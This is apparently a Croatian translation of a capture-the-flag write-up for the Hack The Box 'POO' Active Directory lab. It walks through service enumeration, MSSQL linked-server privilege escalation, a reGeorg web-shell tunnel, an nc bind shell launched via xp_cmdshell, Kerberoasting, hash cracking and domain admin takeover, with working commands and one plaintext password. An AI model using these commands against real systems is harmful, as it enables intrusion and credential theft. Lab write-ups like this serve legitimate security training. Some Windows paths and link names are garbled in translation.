
U ovom ćemo članku analizirati prolaz ne samo stroja, već cijelog mini-laboratorija s mjesta .
Kao što je navedeno u opisu, POO je dizajniran za testiranje vještina u svim fazama napada u malom okruženju Active Directory. Cilj je kompromitirati raspoloživi host, eskalirati privilegije i na kraju kompromitirati cijelu domenu prikupljanjem 5 zastavica u procesu.
Veza s laboratorijem je putem VPN-a. Preporuča se da se ne povezujete s radnog računala ili s hosta na kojem se nalaze važni podaci za vas, jer ulazite u privatnu mrežu s ljudima koji znaju nešto o informacijskoj sigurnosti 🙂
organizacijske informacije
Kako biste mogli saznati o novim člancima, softveru i drugim informacijama, stvorio sam и na području IIKB-a. Također i vaše osobne zahtjeve, pitanja, sugestije i preporuke .
Sve informacije služe samo u obrazovne svrhe. Autor ovog dokumenta ne preuzima nikakvu odgovornost za bilo kakvu štetu nastalu bilo kome kao rezultat korištenja znanja i metoda dobivenih kao rezultat proučavanja ovog dokumenta.
Uvod
Ova završna igra sastoji se od dva stroja i sadrži 5 zastavica.

Također je dat opis i adresa dostupnog hosta.

Započnimo!
Zastava za izviđanje
Ovaj stroj ima IP adresu 10.13.38.11 koju dodajem u /etc/hosts.
10.13.38.11 poo.htb
Prvi korak je skeniranje otvorenih portova. Budući da skeniranje svih portova s nmapom traje dugo, prvo ću to učiniti s masscanom. Skeniramo sve TCP i UDP portove s tun0 sučelja pri 500pps.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500 
Sada, da bismo dobili detaljnije informacije o uslugama koje rade na portovima, pokrenimo skeniranje s opcijom -A.
nmap -A poo.htb -p80,1433 
Dakle, imamo IIS i MSSQL usluge. U ovom slučaju saznat ćemo pravi DNS naziv domene i računala. Na web poslužitelju nas dočekuje IIS početna stranica.

Iterirajmo po imenicima. Za ovo koristim gobuster. U parametrima navodimo broj streamova 128 (-t), URL (-u), rječnik (-w) i ekstenzije koje nas zanimaju (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html 
Dakle, imamo HTTP autentifikaciju za direktorij /admin, kao i dostupnu datoteku za pohranu usluge stolnog računala .DS_Store. .DS_Store su datoteke koje pohranjuju korisničke postavke za mapu, poput popisa datoteka, lokacije ikona, odabrane pozadinske slike. Takva datoteka može završiti u direktoriju web poslužitelja web programera. Tako dobivamo informacije o sadržaju imenika. Za ovo možete koristiti .
python3 dsstore_crawler.py -i http://poo.htb/ 
Dobivamo sadržaj imenika. Najzanimljivija stvar ovdje je /dev direktorij, iz kojeg možemo vidjeti izvorne i db datoteke u dvije grane. Ali možemo koristiti prvih 6 znakova naziva datoteka i direktorija ako je usluga ranjiva na IIS ShortName. Ovu ranjivost možete provjeriti pomoću .

I nalazimo jednu tekstualnu datoteku koja počinje s "poo_co". Ne znajući što dalje, jednostavno sam iz rječnika imenika odabrao sve riječi koje počinju na "co".
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txtI ponovite s wfuzzom.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404 
I pronađite pravu riječ! Gledamo ovu datoteku, spremamo vjerodajnice (sudeći po parametru DBNAME, one su iz MSSQL-a).

Predajemo zastavu, a napredujemo 20%.

Huh zastava
Spajamo se na MSSQL, ja koristim DBeaver.

Ne nalazimo ništa zanimljivo u ovoj bazi, napravimo SQL Editor i provjerimo koji su korisnici.
SELECT name FROM master..syslogins; 
Imamo dva korisnika. Provjerimo naše privilegije.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin'); 
Dakle, nema nikakvih privilegija. Pogledajmo povezane poslužitelje, pisao sam o ovoj tehnici u detalje .
SELECT * FROM master..sysservers; 
Dakle, nalazimo drugi SQL Server. Provjerimo izvršavanje naredbi na ovom poslužitelju koristeći openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version'); 
A možemo čak i izgraditi stablo upita.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');Činjenica je da kada uputimo zahtjev povezanom poslužitelju, zahtjev se izvršava u kontekstu drugog korisnika! Pogledajmo koji korisnički kontekst pokrećemo na povezanom poslužitelju.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name'); 
A sada da vidimo u kojem kontekstu se izvršava zahtjev s povezanog poslužitelja na naš!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');'); 
Dakle, to je DBO kontekst koji mora imati sve privilegije. Provjerimo privilegije u slučaju zahtjeva s povezanog poslužitelja.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')'); 
Kao što vidite, imamo sve privilegije! Kreirajmo našeg admina ovako. Ali ne puštaju ih kroz openquery, ajmo to kroz EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";A sada se povezujemo s vjerodajnicama novog korisnika, promatramo novu bazu podataka zastava.

Predajemo ovu zastavu i idemo dalje.

Zastava povratka
Nabavimo ljusku koristeći MSSQL, ja koristim mssqlclient iz impacket paketa.
mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC 
Moramo dobiti lozinke, a prvo što smo već upoznali je stranica. Dakle, potrebna nam je konfiguracija web poslužitelja (ne možemo baciti prikladnu ljusku, očito vatrozid radi).

Ali pristup je odbijen. Iako možemo čitati datoteku iz MSSQL-a, samo trebamo znati koji su programski jezici konfigurirani. I u direktoriju MSSQL saznajemo da postoji Python.

Tada nema problema s čitanjem datoteke web.config.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())" 
S pronađenim vjerodajnicama idite na /admin i podignite zastavicu.


zastava uporišta
Zapravo, postoje neke neugodnosti zbog korištenja vatrozida, ali gledajući mrežne postavke, primjećujemo da se koristi i IPv6 protokol!

Dodajte ovu adresu u /etc/hosts.
dead:babe::1001 poo6.htb
Ponovno skenirajmo host, ali ovaj put preko IPv6.

A usluga WinRM dostupna je preko IPv6. Povežimo se s pronađenim vjerodajnicama.

Na radnoj površini je zastavica, predaj je.

P00ned zastava
Nakon izviđanja na domaćinu sa ne nalazimo ništa posebno. Tada je odlučeno ponovno tražiti vjerodajnice (također sam pisao na ovu temu ). Ali nisam mogao dobiti sve SPN-ove iz sustava putem WinRM-a.
setspn.exe -T intranet.poo -Q */* 
Izvršimo naredbu preko MSSQL-a.

Na taj način dobivamo SPN korisnika p00_hr i p00_adm, što znači da su ranjivi na napad kao što je Kerberoasting. Ukratko, možemo dobiti hashove njihovih zaporki.
Prvo morate nabaviti stabilnu ljusku u ime MSSQL korisnika. No budući da smo ograničeni u pristupu, vezu s hostom imamo samo preko portova 80 i 1433. Ali moguće je tunelirati promet kroz luku 80! Za ovo koristimo . Učitajmo datoteku tunnel.aspx u početni direktorij web poslužitelja - C: inetpubwwwroot.

Ali kada mu pokušamo pristupiti, dobivamo pogrešku 404. To znači da se *.aspx datoteke ne izvršavaju. Da biste pokrenuli datoteke s ovim ekstenzijama, instalirajte ASP.NET 4.5 na sljedeći način.
dism /online /enable-feature /all /featurename:IIS-ASPNET45 
![]()
I sada, kada pristupimo tunnel.aspx, dobivamo odgovor da je sve spremno za rad.
![]()
Pokrenimo klijentski dio aplikacije koji će preusmjeravati promet. Sav promet s porta 5432 proslijedit ćemo na poslužitelj.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx 
I koristimo proxy lance za slanje prometa bilo koje aplikacije preko našeg proxyja. Dodajmo ovaj proxy u konfiguracijsku datoteku /etc/proxychains.conf.

Sada prenesimo program na poslužitelj , s kojim ćemo napraviti stabilnu bind shell, i skriptu , s kojim ćemo izvesti Kerberoasting napad.

Sada, kroz MSSQL, pokrećemo slušatelja.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321 
I povezujemo se preko našeg proxyja.
proxychains rlwrap nc poo.htb 4321 
I uzmimo hašiše.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt 
Zatim morate ponoviti ove hashove. Budući da rockyou nije imao rječnik podataka o zaporkama, koristio sam SVE rječnike zaporki koje nudi Seclists. Za nabrajanje koristimo hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --forceI nalazimo obje lozinke, prvu u dutch_passwordlist.txt rječniku, a drugu u Keyboard-Combinations.txt.


I tako imamo tri korisnika, idemo na kontroler domene. Prvo saznajmo njegovu adresu.

Odlično, naučili smo IP adresu kontrolera domene. Otkrijmo sve korisnike domene, kao i tko je od njih administrator. Za preuzimanje skripte za dobivanje informacija PowerView.ps1. Zatim ćemo se povezati koristeći evil-winrm, navodeći direktorij sa skriptom u parametru -s. A zatim samo učitajte PowerView skriptu.

Sada imamo pristup svim njegovim funkcijama. Korisnik p00_adm izgleda kao privilegirani korisnik, pa ćemo raditi u njegovom kontekstu. Kreirajmo objekt PSCredential za ovog korisnika.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$CpassSada će se sve Powershell naredbe u kojima navedemo Creds izvršavati u ime p00_adm. Prikažimo popis korisnika i atribut AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount 
I tako, naš korisnik je stvarno privilegiran. Da vidimo kojim skupinama on pripada.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds 
Konačno potvrđujemo da je korisnik administrator domene. To mu daje pravo da se daljinski prijavi na kontroler domene. Pokušajmo se prijaviti s WinRM koristeći naš tunel. Zbunile su me pogreške koje je izdao reGeorg prilikom korištenja evil-winrm-a.

Zatim koristimo drugi, lakši, za povezivanje na WinRM. Otvorite i promijenite parametre veze.

Pokušavamo se povezati, a u sustavu smo.

Ali zastave nema. Zatim pogledajte korisnika i provjerite radne površine.

Kod mr3ksa nalazimo zastavu i laboratorij je 100% završen.

To je sve. Kao povratnu informaciju komentirajte jeste li naučili nešto novo iz ovog članka i je li vam bio koristan.
Možete nam se pridružiti na . Tamo možete pronaći zanimljive materijale, spojene tečajeve, kao i softver. Okupimo zajednicu u kojoj će biti ljudi koji se razumiju u mnoga područja IT-a, tada si uvijek možemo pomoći jedni drugima u bilo kakvim pitanjima IT-a i informacijske sigurnosti.
Izvor: www.habr.com
